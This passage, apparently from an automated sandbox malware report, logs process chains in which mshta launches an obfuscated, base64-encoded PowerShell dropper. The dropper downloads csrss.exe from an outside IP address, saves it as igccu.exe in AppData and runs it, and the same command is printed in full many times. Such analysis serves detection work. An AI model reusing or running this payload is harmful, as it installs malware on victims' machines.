iAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Suspicious command line found
              Source: C:\Windows\System32\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Suspicious powershell command line found
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline"
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.cmdline"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.cmdline"
